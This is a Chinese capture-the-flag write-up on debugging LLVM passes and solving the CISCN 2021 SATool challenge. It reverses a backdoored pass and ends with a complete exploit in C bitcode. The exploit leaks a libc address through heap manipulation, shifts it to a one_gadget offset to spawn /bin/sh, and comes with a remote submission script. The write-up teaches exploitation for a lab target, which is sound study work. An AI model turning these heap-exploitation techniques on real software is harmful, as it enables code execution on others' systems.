这是LLVM PASS PWN的第二篇,这一篇主要记录学习一下LLVM PASS PWN如何调试,并拿CISCN 2021 SATool来做第一道LLVM PASS PWN解,笔者的做题环境都是ubuntu20.04
之前的文章链接:
在正式做LLVM PASS PWN的时候首先学习一下如何调试LLVM PASS,还是用上一篇文章的LLVM PASS
其实真正攻击的目标是opt,上一章使用的opt-12,所以这里使用gdb /bin/opt-12
,用set args
设置参数传入即可
开始的时候vmmap可以发现并没有加载LLVMHello.so
需要将这些call都跑掉之后,就可以看到LLVMHello.so加载成功
如下加载成功
如果想要在模块中下断点只需要用so第一个的地址加上偏移即可
下载之后可以发现有如下东西
➜ 附件 ls libc-2.27.so libLLVM-8.so.1 libstdc++.so.6.0.25 opt quickstart.txt SAPass.so
SAPass.so就是自定义的一个Pass,漏洞就发生在这里面,还有一个opt,这个就是我们最后的攻击目标./opt --version
即可查看版本
➜ 附件 ./opt --version LLVM (http://llvm.org/): LLVM version 8.0.1 Optimized build. Default target: x86_64-pc-linux-gnu Host CPU: skylake
还有一个quickstart.txt
,这个是出题人写的说明,看一下
Jack has developed a malicout analysis tool and leave a backdoor in it. Can you hack the tool and get shell? You can send the base64 of bitcode to the server, and the server will decode it and run "./opt -load ./SAPass.so -SAPass ./exp.bc“your_bitcode". You can directly use the following script to send base64 code to server: from pwn import * import sys context.log_level='debug' con = remote(sys.argv[1], sys.argv[2]) f = open("./exp.bc","rb") payload=f.read() f.close() payload2 = payload.encode("base64") con.sendlineafter("bitcode: \n", payload2) con.interactive()
上面说明了如何操作,并贴出了打远程的脚本,接下来做的就是对SAPass.so进行逆向
进入ida之后可以发现符号表没了,上一篇文章说过漏洞基本发生在重写runOnFunction
的函数,而runOnFunction
在vtable最后一个,所以我们现在去寻找一下vtable,跟进sub_1930
看到对象的创建了,vtable应该就在最下面的off_203d30
,直接跟进
成功发现vtable的位置,上一篇说到最后一个是runOnFunction
,因为被重写了所以直接跟进,跟进后发现一共566行的c++的反汇编代码,头大
从头开始分析,首先是用了getName来获得每个函数的名称,并且名称里面必须有r0oDkc4B
,因为是小端序,Name的类型是QWORD存储,所以是B4ckDo0r
,但是还会判断v3==8,这里不知道v3是什么,所以我们看一下汇编
有一个cmp rdx, 8
,rdx是上面函数的返回值里的一个,意思就是对象名字的长度是否是8,接着会将B4ckDo0r
放入rcx中,会比较rcx和rax地址里的内容,而rax是函数的返回值,所以判断函数名称是否是B4ckDo0r
,和上面分析的一样
接下来的东西很多也很乱,在比赛的时候要做的就是如何能快速筛选出有用的数据,笔者觉得动静分析可以快速的分析这个程序的逻辑,所以我们写一个exp.c再用clang-8编译成exp.ll
//clang-8 -S -emit-llvm exp.c -o exp.ll #include <stdio.h> int B4ckDo0r(){ return 0; }
用上面调试LLVM PASS的方法对这题进行调试,并在SAPass.so的基址 + 0x1A14
这里下个断点然后单步执行进行调试,同时在调试的时候结合静态分析,if ( v3 == 8 && *Name == 'r0oDkc4B' )
这个判断已经成功满足,但是最后会跑飞跑到0x2234这里就退出了
造成这样的原因是B4ckDo0r
这个函数已经结束了,没有检测到这个函数里面的东西,那我们给他放入一点东西看一下会不会跑到0x2234这里就退出
#include <stdio.h> int B4ckDo0r(){ printf("hello"); return 0; }
调试之后发现已经跑不到219这里了已经可以继续往下走了,继续调试,当执行到0x1A9E
这里时会调用llvm::Value::getName
获取到了printf这个函数,并且长度放入rdx中,继续调试,会执行到if ( !(unsigned int)std::string::compare(&fnc_name, "save") )
这条语句,一参是printf函数的名字,二参是save,这个意思就是判断是否在B4ckDo0r
中调用了save函数
既然这样判断了,那肯定还有类似的判断,漏洞及有可能出现在这些函数处理功能内,一个一个看,首先是save函数
Invalid opcode
这种东西没什么意义,只要正常写程序都不会触发这些报错,我们再写一个exp.c继续调试
#include <stdio.h> void save(){ } int B4ckDo0r(){ save(); return 0; }
可以进入save函数处理功能,但是到了if ( -1431655765 * (unsigned int)((v15 + 24 * v18 - 24 * (unsigned __int64)NumTotalBundleOperands - v20) >> 3) == 2 )
这里之后会直接退出了,会判断是否为2,直接盲猜一下是否是save需要两个参数
#include <stdio.h> void save(char *a, char *b){ } int B4ckDo0r(){ save("a", "b"); return 0; }
成功继续执行了,接着到了核心的地方,v25是一参,v30是二参,会将一参和二参利用memcpy放入一个chunk中
save功能已经看过,看下面的takeaway,找到了和上面一样的东西,所以我们给takeaway一参
但是在调试这个处理函数功能中,最后到了heap_ptr = (_QWORD *)heap_ptr[2];
然后释放
继续看stealkey这个功能
需要注意的下面的byte_204100 = *heap_ptr
,这个heap_ptr是我们save的时候所创建的,里面存放的是save的一参和二参,这个byte_204100 = *heap_ptr
其实就是把一参给传到204100里了,调试一下看一下是否正确
pwndbg> x/gx 0x7ffff3b72000 + 0x204100 0x7ffff3d76100 <byte_204100>: 0x0000000000820061
成功执行了,继续看fakekey这个功能
第482行和上面一样,需要传一个参数,所以我们可以构造如下exp.c
#include <stdio.h> void save(char *a, char *b){ } void takeaway(char *c){ } void stealkey(){ } void fakekey(char *d){ } int B4ckDo0r(){ save("a", "b"); stealkey(); fakekey("c"); return 0; }
调试了之后发现sextvalue是fakekey的一参,但是给了c之后会直接到else这里,所以我们将c改成整数再试试
#include <stdio.h> void save(char *a, char *b){ } void takeaway(char *c){ } void stealkey(){ } void fakekey(int d){ } int B4ckDo0r(){ save("a", "b"); stealkey(); fakekey(0x10); return 0; }
再调试一下可以发现byte_204100和*heap_ptr这里的值都加上0x10了
pwndbg> x/gx 0x7ffff3d76100 0x7ffff3d76100 <byte_204100>: 0x0000000000820071
继续下一个功能
run这里会直接执行(*heap_ptr)()
总结一下上面的操作
heap_ptr = (_QWORD *)heap_ptr[2];
byte_204100
byte_204100
和*heap_ptr
加上fakekey
的一参*heap_ptr
不难想出利用方法,因为最后会执行*heap_ptr
,所以我们可以将*heap_ptr
改成one_gadget
那如何将*heap_ptr
改成one_gadget呢,因为fakekey可以改*heap_ptr
,所以我们需要想办法将*heap_ptr
放一个libc上的地址然后再利用fakekey的偏移改成one_gadget
怎么在*heap_ptr
上放一个libc呢,我们看一下bins的情况
发现了0x20上有很多chunk,也发现了unsortedbin和small bin,那我们是不是可以将tcache清空, 再申请的时候就会有libc地址了
这样的话就可以把libc上的地址放到*heap_ptr
上了,需要注意的是最后一个的一参放空
最后main_arena + 112会到*heap_ptr
上,利用fakekey打*heap_ptr为one_gadget即可,因为笔者用的2.31的ubuntu,所以直接ogg2.31
0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
0x7ffff3e39000 0x7ffff3e5b000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff3e5b000 0x7ffff3fd3000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff3fd3000 0x7ffff4021000 r--p 4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff4021000 0x7ffff4025000 r--p 4000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff4025000 0x7ffff4027000 rw-p 2000 1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
所以有
pwndbg> p/x 0x7ffff4025bf0 - 0x7ffff3e39000 $9 = 0x1ecbf0
0x1ecbf0 - 0xe3afe = 0x1090f2
,exp如下
#include <stdio.h> void save(char *a, char *b){ } void takeaway(char *c){ } void stealkey(){ } void fakekey(int d){ } void run(){ } int B4ckDo0r(){ save("z1r0", "z1r0"); save("z1r0", "z1r0"); save("z1r0", "z1r0"); save("z1r0", "z1r0"); save("z1r0", "z1r0"); save("z1r0", "z1r0"); save("z1r0", "z1r0"); save("", "z1r0"); stealkey(); fakekey(-0x1090f2); run(); return 0; }
如何快速的筛选出有用的代码是最关键的地方,必要的时候需要动静结合分析这样可以快速理解程序逻辑